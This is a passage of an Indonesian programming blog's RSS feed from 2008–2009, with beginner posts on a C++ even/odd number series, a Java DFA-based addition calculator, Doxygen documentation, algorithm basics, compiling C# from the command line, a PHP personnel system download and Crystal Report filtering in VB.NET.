rel=&quot;tag&quot;&gt;Kalkulator&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Java&quot; rel=&quot;tag&quot;&gt;Java&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Contoh&quot; rel=&quot;tag&quot;&gt;Contoh&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2009/05/kalkulator-sederhana-menggunakan-java.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-8578205490858488420</guid><pubDate>Wed, 14 Jan 2009 19:11:00 +0000</pubDate><atom:updated>2009-01-15T02:11:59.450+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">C</category><title>Source Code C++ Deret Bilangan Genap dan Ganjil</title><description>&lt;p align=&quot;justify&quot;&gt;&lt;img style=&quot;display: inline; margin-left: 0px; margin-right: 0px&quot; title=&quot;C++&quot; alt=&quot;&quot; align=&quot;left&quot; src=&quot;http://dantaliawidhian.googlepages.com/cplusplus.jpg&quot; width=&quot;152&quot; height=&quot;151&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Hmmm..baru dapet ilmu baru lagi nih..belajar bareng yuk..&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Berikut adalah source code c++ untuk mengetahui deret bilangan genap dan ganjil sebelum bilangan n.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&amp;#160;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk deret bilangan genap sebagai berikut :&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;#include &amp;lt;iostream.h&amp;gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;#include &amp;lt;conio.h&amp;gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;void main()&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;{&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;int i, n;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;cout &amp;lt;&amp;lt; “Masukan n = “;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;cin &amp;gt;&amp;gt; n;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;for (i=2; i&amp;lt;n ; i=i+2)&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;cout &amp;lt;&amp;lt; i &amp;lt;&amp;lt; ” ” &amp;lt;&amp;lt;endl;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;getch();&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;}&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;Dan untuk deret bilangan ganjil, kita hanya perlu mengubah nilai i semula. Sehingga, i yang tadinya bernilai dimulai dari 2 diubah menjadi 1. Source codenya sebagai berikut :&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://melodanta.com/source-code-c-deret-bilangan-genap-dan-ganjil.html&quot; target=&quot;_blank&quot;&gt;Selengkapnya, ….&lt;/a&gt;&lt;/p&gt; &lt;br /&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:2e9862f8-6fb7-4a3e-af23-a691173a082e&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/C%2b%2b&quot; rel=&quot;tag&quot;&gt;C++&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Source+Code&quot; rel=&quot;tag&quot;&gt;Source Code&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Bilangan&quot; rel=&quot;tag&quot;&gt;Bilangan&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Genap&quot; rel=&quot;tag&quot;&gt;Genap&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2009/01/source-code-c-deret-bilangan-genap-dan.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-7345127080948248425</guid><pubDate>Wed, 14 Jan 2009 19:07:00 +0000</pubDate><atom:updated>2009-01-15T02:07:37.616+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Java</category><title>Teori bahasa dan automata : bikin aplikasi kalkulator pertambahan pake java</title><description>&lt;p align=&quot;justify&quot;&gt;wew, sekitar 5 bulan yang lau gw dapet matakuliah Teori Bahasa dan Automata, dan kata Mrs Mira (selaku dosen gw) katanya ini baik kalo kita mo buat bahasa pemrograman baru &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;wew, kayaknya gak perlu dipelajari &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt; , wonk gw gak kan bikin bahasa pemrograman baru kok &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;tapi ternyata pas kesini, ternyara di automata juga belajar “parsing” &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;wkkkkkkkkk &lt;img alt=&quot;:evil:&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_evil.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;wah gak nyangka makin kesini ternyata automata makin penting &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt; , contohnya kalo kita bikin aplikasi yang butuh parsing, dan juga regex &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;ternyata bahasa pemrograman yang dimaksud tuh bukan hanya kayak java, C++, tapi bisa juga MySQL &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;jadi nanti gw pengennya bikin bahasa SQL baru, jadi kalo biasanya kita pake “SELECT * FROM TABLENAME”, nanti gw pengennya kayak gini “TAMPILKAN SELURUH DATA DARI TABEL ORANG” heheheh, kayaknya keren!!!!&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;nach contoh sederhana gw sekarang bikin apliaksi kalkulator pertambahan (simple aja) pake automata &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;jadi aturan produksinya kayak gini :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;S = A + A + A + …&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;A = 1…n&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;n = (Max Integer)&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;jadi sekarang tingal kita buat DFA nya &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt; , singkat cerita dah gw buat kayak gini :&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;img border=&quot;0&quot; alt=&quot;DFA&quot; src=&quot;http://eecchhoo.files.wordpress.com/2009/01/dfa.png?w=475&amp;amp;h=145&quot; width=&quot;475&quot; height=&quot;145&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;wew, jadi gini keterangannya :&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;A = State Awal&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;B = Final State&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;A(1…9) -&amp;gt; B&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;B(0…9) -&amp;gt; B&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;B(+) -&amp;gt; C&lt;/strong&gt;&lt;/p&gt;    &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;C(1…9) -&amp;gt; B&lt;/strong&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;btw, ngerti gak ama diagram DFA diatas? kalo gak ngerti mungkin harus belajar automata dulu &lt;img alt=&quot;:P&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_razz.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;sekarang kita bua refresentasi dari A, B, C &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;nah karena A, B, C punya kesamaan, yaitu sebagai State jadi kita kita buat aja interface untuk State yang isinya validateCharacter(char), isFinalState(), isStartState() &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt; :&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://eecchhoo.wordpress.com/2009/01/04/teori-bahasa-dan-automata-bikin-aplikasi-kalkulator-pertambahan-pake-java/&quot; target=&quot;_blank&quot;&gt;Selengkapnya, …..&lt;/a&gt;&lt;/p&gt; &lt;br /&gt;&lt;br /&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:5d4d1307-c50c-44d8-8c1b-c8984e06599f&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Java&quot; rel=&quot;tag&quot;&gt;Java&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Otomata&quot; rel=&quot;tag&quot;&gt;Otomata&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Aplikasi&quot; rel=&quot;tag&quot;&gt;Aplikasi&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2009/01/teori-bahasa-dan-automata-bikin.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-1009238311208983160</guid><pubDate>Sun, 14 Dec 2008 18:06:00 +0000</pubDate><atom:updated>2008-12-15T01:06:14.459+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Review</category><category domain="http://www.blogger.com/atom/ns#">Tutorial</category><title>Dokumentasi Source Code Menggunakan Tools Doxygen</title><description>&lt;p align=&quot;justify&quot;&gt;Bagi anda, seorang &lt;em&gt;programmer&lt;/em&gt;, yang menginginkan dokumentasi kode program yang anda buat, Doxygen merupakan salah satu &lt;em&gt;tools&lt;/em&gt; yang dapat anda gunakan untuk menghasilkan dokumentasi secara otomatis. Doxygen dapat membuatkan dokumentasi kode program bahasa C++, C, Java, Objective-C, Python, IDL (Corba dan Microsoft flavors), Fortran, VHDL, PHP, C#, dan lainnya. Hasil dokumentasi yang dibuat oleh Doxygen dapat berupa html, LaTeX, serta beberapa format lainnya.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Sebagai gambaran, anda dapat membuat kode bahasa C seperti berikut.&lt;/p&gt;  &lt;blockquote&gt;   &lt;p align=&quot;justify&quot;&gt;&lt;code&gt;/**       &lt;br /&gt;* Fungsi untuk menjumlahkan dua bilangan        &lt;br /&gt;* @param[in] nilai1 argumen yang menyimpan nilai pertama untuk dijumlahkan        &lt;br /&gt;* @param[in] nilai2 argumen yang menyimpan nilai kedua untuk dijumlahkan        &lt;br /&gt;* @return nilai1 + nilai2        &lt;br /&gt;* @sa pengurangan, perkalian, pembagian        &lt;br /&gt;*/        &lt;br /&gt;int penjumlahan(int nilai1, int nilai2);        &lt;br /&gt;&lt;/code&gt;&lt;/p&gt; &lt;/blockquote&gt;  &lt;p align=&quot;justify&quot;&gt;Dengan Doxygen, kode program tersebut dapat di-&lt;em&gt;parsing&lt;/em&gt; dan dapat dihasilkan tampilan html seperti kedua gambar di bawah.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://baguspewe.files.wordpress.com/2008/11/snapshot1e.png&quot;&gt;&lt;img title=&quot;Screenshot html dokumentasi hasil bagian 1&quot; alt=&quot;Screenshot hasil dokumentasi html bagian 1&quot; src=&quot;http://baguspewe.files.wordpress.com/2008/11/snapshot1e.png?w=300&amp;amp;h=27&quot; width=&quot;300&quot; height=&quot;27&quot; /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Screenshot hasil dokumentasi html bagian 1&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://baguspewe.files.wordpress.com/2008/11/snapshot2e.png&quot;&gt;&lt;img title=&quot;Screenshot hasil dokumentasi html bagian 2&quot; alt=&quot;Screenshot hasil dokumentasi html bagian 2&quot; src=&quot;http://baguspewe.files.wordpress.com/2008/11/snapshot2e.png?w=300&amp;amp;h=137&quot; width=&quot;300&quot; height=&quot;137&quot; /&gt;&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Screenshot hasil dokumentasi html bagian 2&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Untuk mendapatkan program ini, silakan di-&lt;em&gt;download&lt;/em&gt; di &lt;a href=&quot;http://www.doxygen.org/&quot;&gt;http://www.doxygen.org/&lt;/a&gt;. Sebelum memulai menggunakan program ini, disarankan untuk membaca bagian &lt;em&gt;Getting started&lt;/em&gt; pada Doxygen manual. Selamat mencoba! &lt;img alt=&quot;:D&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif&quot; /&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;em&gt;Catatan, Lisensi Doxygen: GPL.&lt;/em&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Source : &lt;a href=&quot;http://baguspewe.wordpress.com/2008/11/29/dokumentasi-source-code-menggunakan-tools-doxygen/&quot; target=&quot;_blank&quot;&gt;baguspewe.wordpress.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:610aa8f4-10cb-4565-851b-5b667cb98a60&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Doxygen&quot; rel=&quot;tag&quot;&gt;Doxygen&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Source+Code&quot; rel=&quot;tag&quot;&gt;Source Code&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Dokumentasi&quot; rel=&quot;tag&quot;&gt;Dokumentasi&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/12/dokumentasi-source-code-menggunakan.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-2333759226845529720</guid><pubDate>Sun, 14 Dec 2008 18:01:00 +0000</pubDate><atom:updated>2008-12-15T01:01:59.532+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Algoritma</category><title>PENGERTIAN DASAR ALGORITMA</title><description>&lt;p align=&quot;justify&quot;&gt;Dalam kehidupan nyata banyak masalah yang timbul, terhadap masalah tersebut perlu dicarikan pemecahan masalah, sehingga memberikan solusi yang benar. Bila masalah tersebut dpecahkan dengan komputer maka disebut Algoritma. Secara umum algoritma adalah sejumlah langkah komputasi yang mengubah masukkan (input) menjadi keluaran (output) yang benar. &lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Algoritma yang masih berupa logika pemecahn selanjutnya diubah menjadi program computer (source code) menurut bahasa pemogarman tertentu, selanjutnya source code ini perlu di kompilasi oleh penejemah (compiler, interpreter), menjadi kode – kode yang dapat di mengerti dan dijalankan oleh computer. Kode ini disebut executable. Kata algoritma berasal dari nama Abu Ja’far Mohammed Ibn Musa al-Khowarizmi seorang ilmuwan Persia yang menulis buku bejudul kitab al jabr a’al-muqabala (rules of restoration and reduction). Pada Merriam-Webster’s Collegiate Dictionary isilah algorithm diartikan sebagai prosedur atau langkah demi langkah untuk memecahkan masalah atau menyelesaikan suatu tugas khususnya dalam menggunakan computer, dalam kamus besar bahasa Indonesia mendefinisikan algoritma sebagai urutan logis pengambilan keputusan untuk pemecahan masalah.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Syarat algoritma menurut Donal E.Knuth sebuah algoritma harus memenuhi syarat,    &lt;br /&gt;Finiteness, Algoritma harus berakhir (terminate) setelah mlakukan sejumlah langkah proses.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Definitenes, Setiap langkah algotritma harus didefinisikan dengan tepat dan tidak menimbulkan makna ganda (ambigious). Karena itu cara yang paling tepat dalam menuliskan algoritma adalah dengan menggunakan formal language (bahasa pemograman computer.&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Input, setiap algoritma memerlukan data sebagai masukkan untuk diolah Output, setiap algoritma memberikan satu atau beberapa hasil keluaran. Effectiveness, langkah-langkah algoritma dikerjakan dalam waktu yang wajar. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Jenis Proses Algoritma&lt;/strong&gt;     &lt;br /&gt;Langkah yang membentuk algoritma dibagi menjadi tiga kelompok proses     &lt;br /&gt;Sequence proses, instruksi kedua dikerjakan setelah instruksi pertama , setelah itu instruksi ketiga baru dikerjakan, instruksi dikerjakan mulai dari instruksi pertama sampai instruksi terakhir.     &lt;br /&gt;Selection process, suatu instruksi adakalnya baru boleh dikerjakan apabila memenuhi persyaratan tertetu.     &lt;br /&gt;Iteration process, suatu instruksi adakalanya perlu dikerjakan berulang-ulang selama sekian kali, atau selama kondisi masih terpenuhi.     &lt;br /&gt;Selain ketiga proses algoritma pada parallel programming terdapat Concurrent Process yang memungkinkan beberapa instruksi dikerjakan secara bersamaan&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;Tahapan Algoritma, dan penulisan program      &lt;br /&gt;&lt;/strong&gt;Proses pemecahan masalah dengan algoritma tertentu hingga menjadi program dapat dibagi sembilan tahap. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Mendefinisikan masalah. Masalah yang ingin depacahkan harus jelas lingkupnya.   &lt;br /&gt;membuat model, yang disebut membuat model adalah bentuk matematis yang dapat digunakan untuk memecahkan masalah, apakah harus dilakukan pengurutan data, apakah menggunakan perhitungan kambinatorik, dan sebagainya.     &lt;br /&gt;merancang algoritma, apa masukkanya, bagaimana rincian prosessnya, apa keluaranya.     &lt;br /&gt;menulis program, ubah algoritma menjadi program (source code) sesuai dengan bahasa pemograman.     &lt;br /&gt;mengubah source code menjadi executable code melalui proses compiling.     &lt;br /&gt;memeriksa hasil compiling jika salah kembali ke tahap menulis program.     &lt;br /&gt;menjalankan program (run) untuk diuji kebenarannya menggunakan berbagai data.     &lt;br /&gt;memperbaiki kesalahan.     &lt;br /&gt;mendokumentasikan program bila sudah benar. &lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;&lt;strong&gt;PRINSIP PEMOGRAMAN      &lt;br /&gt;&lt;/strong&gt;Tentukan masalah sebenarnya, kesulitan terbesar dalam menuliskan program yang besar bukan dalam menentukan tujuan pemograman, atau dalam mencari cara menetukan metode yang tepat untuk memenuhi tujuan tersebut. Masalah pertama dalam menyelesaikan program besar adalah apa masalah yang sesungguhnya, tujuan yang samara, pertanyaan yang saling bertentangan, harus diterjemahkan dalam formulasi yang tepat.&lt;/p&gt;  &lt;p&gt;Source : &lt;a href=&quot;http://andri-run.blogspot.com/2008/12/algoritma.html&quot; target=&quot;_blank&quot;&gt;andri-run.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:e3422a11-f75c-4eac-85b8-73c05478a3c1&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/Algoritma&quot; rel=&quot;tag&quot;&gt;Algoritma&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Pengertian&quot; rel=&quot;tag&quot;&gt;Pengertian&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Dasar&quot; rel=&quot;tag&quot;&gt;Dasar&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/Pemrograman&quot; rel=&quot;tag&quot;&gt;Pemrograman&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/12/pengertian-dasar-algoritma.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-4008707054484537740</guid><pubDate>Wed, 05 Nov 2008 05:56:00 +0000</pubDate><atom:updated>2008-11-05T12:56:10.081+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">C#</category><title>Membuat Aplikasi Console C# dari Command Line</title><description>&lt;p&gt;&lt;strong&gt;Pertanyaan : &lt;/strong&gt;    &lt;br /&gt;Bagaimana membuat aplikasi console dengan C# Compiler ?&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Jawaban :&lt;/strong&gt;    &lt;br /&gt;Pada salah satu kelas yang dibagun dibutuhkan method bertipe static dan dengan nama Main seperti salah satu dari berikut :&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;pre&gt;public static void Main();&lt;br /&gt;public static void Main(string[] args);&lt;br /&gt;public static int Main();&lt;br /&gt;public static int Main(string[] args);&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Cara mengcompilenya adalah dengan menjalankan command berikut :&lt;br /&gt;  &lt;br /&gt;csc /target:exe HaloCSharp.cs&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;&lt;strong&gt;Penjelasan:&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;csc adalah nama aplikasi Compiler untuk C#. file csc.exe ini terdapat pada direktori [WindowsDirektori]\Microsoft.NET\Framework\[Versi Framework]\csc.ece.&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;/target:exe adalah target dari aplikasi yang akan dibangun. Dimana hasil dari compile akan bertipe exe (Executable Files).&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;HaloCSharp.cs adalah source file yang dicompile.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;strong&gt;Lebih lanjut: &lt;/strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://wcode.net/2008/10/membuat-aplikasi-console-c-dari-command-line.htm&quot;&gt;wcode.net&lt;/a&gt;&lt;/p&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:4ddaadd6-a4f0-41a0-b3f4-ec0e4fcd76ff&quot; class=&quot;wlWriterEditableSmartContent&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/C%23&quot; rel=&quot;tag&quot;&gt;C#&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/console&quot; rel=&quot;tag&quot;&gt;console&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/aplikasi&quot; rel=&quot;tag&quot;&gt;aplikasi&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source+code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/11/membuat-aplikasi-console-c-dari-command.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-8426205854444125049</guid><pubDate>Wed, 08 Oct 2008 17:17:00 +0000</pubDate><atom:updated>2008-10-09T00:17:11.425+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PHP</category><title>PHP Source Code - Sistem Informasi Kepegawaian</title><description>&lt;p align=&quot;justify&quot;&gt;Sistem Informasi Kepegawaian berbasis platform PHP dengan database My SQL   &lt;br /&gt;Pada aplikasi ini karyawan dapat mengajukan permohonan cuti dan mendapatkan persetujuan cuti dari atasan secara online. Atasan dapat melihat daftar riwayat cuti karyawan.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;&lt;a href=&quot;http://sites.google.com/site/persadaku/Home/listingprogramkaryawan.zip?attredirects=0&quot;&gt;Download source code14&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Program pendukung   &lt;br /&gt;&lt;a href=&quot;http://sourceforge/projects/phptriad&quot;&gt;1. PHP Triad15&lt;/a&gt;    &lt;br /&gt;&lt;a href=&quot;http://www.mysql.com&quot;&gt;2. My SQL16&lt;/a&gt;    &lt;br /&gt;&lt;a href=&quot;http://www.soysal.com/PHPEd&quot;&gt;3. PHP Editor17&lt;/a&gt;&lt;/p&gt;  &lt;p align=&quot;justify&quot;&gt;Source : &lt;a href=&quot;http://persada-download.blogspot.com/2008/10/php-source-code-sistem-informasi.html&quot; target=&quot;_blank&quot;&gt;persada-download.blogspot.com&lt;/a&gt;&lt;/p&gt; &lt;/span&gt; &lt;div class=&quot;wlWriterEditableSmartContent&quot; id=&quot;scid:0767317B-992E-4b12-91E0-4F059A8CECA8:413fd5b0-7921-4a5a-a1a7-395118e533c2&quot; style=&quot;padding-right: 0px; display: inline; padding-left: 0px; float: none; padding-bottom: 0px; margin: 0px; padding-top: 0px&quot;&gt;Technorati Tags: &lt;a href=&quot;http://technorati.com/tags/php&quot; rel=&quot;tag&quot;&gt;php&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/kepegawaian&quot; rel=&quot;tag&quot;&gt;kepegawaian&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/source+code&quot; rel=&quot;tag&quot;&gt;source code&lt;/a&gt;,&lt;a href=&quot;http://technorati.com/tags/download&quot; rel=&quot;tag&quot;&gt;download&lt;/a&gt;&lt;/div&gt;  </description><link>http://indoprogrammer.blogspot.com/2008/10/php-source-code-sistem-informasi.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1475036015484717232.post-7975736678422800111</guid><pubDate>Wed, 08 Oct 2008 17:12:00 +0000</pubDate><atom:updated>2008-10-09T00:12:57.034+07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Visual Basic</category><title>VB.NET 2005 Source Code Crystal Report : Filter Crystal Report Dengan Bulan dan Tahun</title><description>&lt;p align=&quot;justify&quot;&gt;Halouw balik lagi nih gwe setelah lama libur ga posting hehehe… Sekarang kita agak sedikit belajar nih, gwe mau berbagi ama lo semua tentang coding VB.NET 2005. Kali ini coding yang mau gwe kasih tahu adalah coding aplikasi VB.NET menggunakan Crystal Report di mana Crystal Report tersebut difilter dengan bulan dan tahun.&lt;/p&gt; &lt;span class=&quot;fullpost&quot;&gt; &lt;p align=&quot;justify&quot;&gt;Pertama gwe pengin minta maaf dulu soalnya gwe lupa bikin snapshot aplikasinya jadi maaf kalo agak bingung ngikutin penjelasannya. Pertama yang gwe lakukan adalah gwe bikin sebuah form yang berisikan dua buah comboBox. comboBox yang pertama gwe namain cmbMonth yang tentunya berisikan bulan dari Januari dst. Terus untuk comboBox yang kedua gwe namain cmbYear yang berisikan tahun. Untuk tahunnya gwe isi dari tahun 1996 sampe 2010 kenapa gwe mulai dari 1996 ? soalnya gwe ngambil database Northwind tablenya Orders dimana tahun yang ada disitu dari 1996 sampe 1997, soal sampe 2010 itu sih terserah yang bikin dunks hehehehe &lt;img alt=&quot;:)&quot; src=&quot;http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif&quot; /&gt; . Dan gwe tambahin juga sebuah button untuk mengeksekusi perintah setelah user memberikan pilihan bulan dan tahun, button tersebut gwe namain btnSubmit. Moving on, sesudah itu gwe bikin Crystal Report dengan menggunkan database Northwind dengan table Orders, untuk ini gwe pengin minta maaf lagi soalnya column yang gwe masukin ke CR 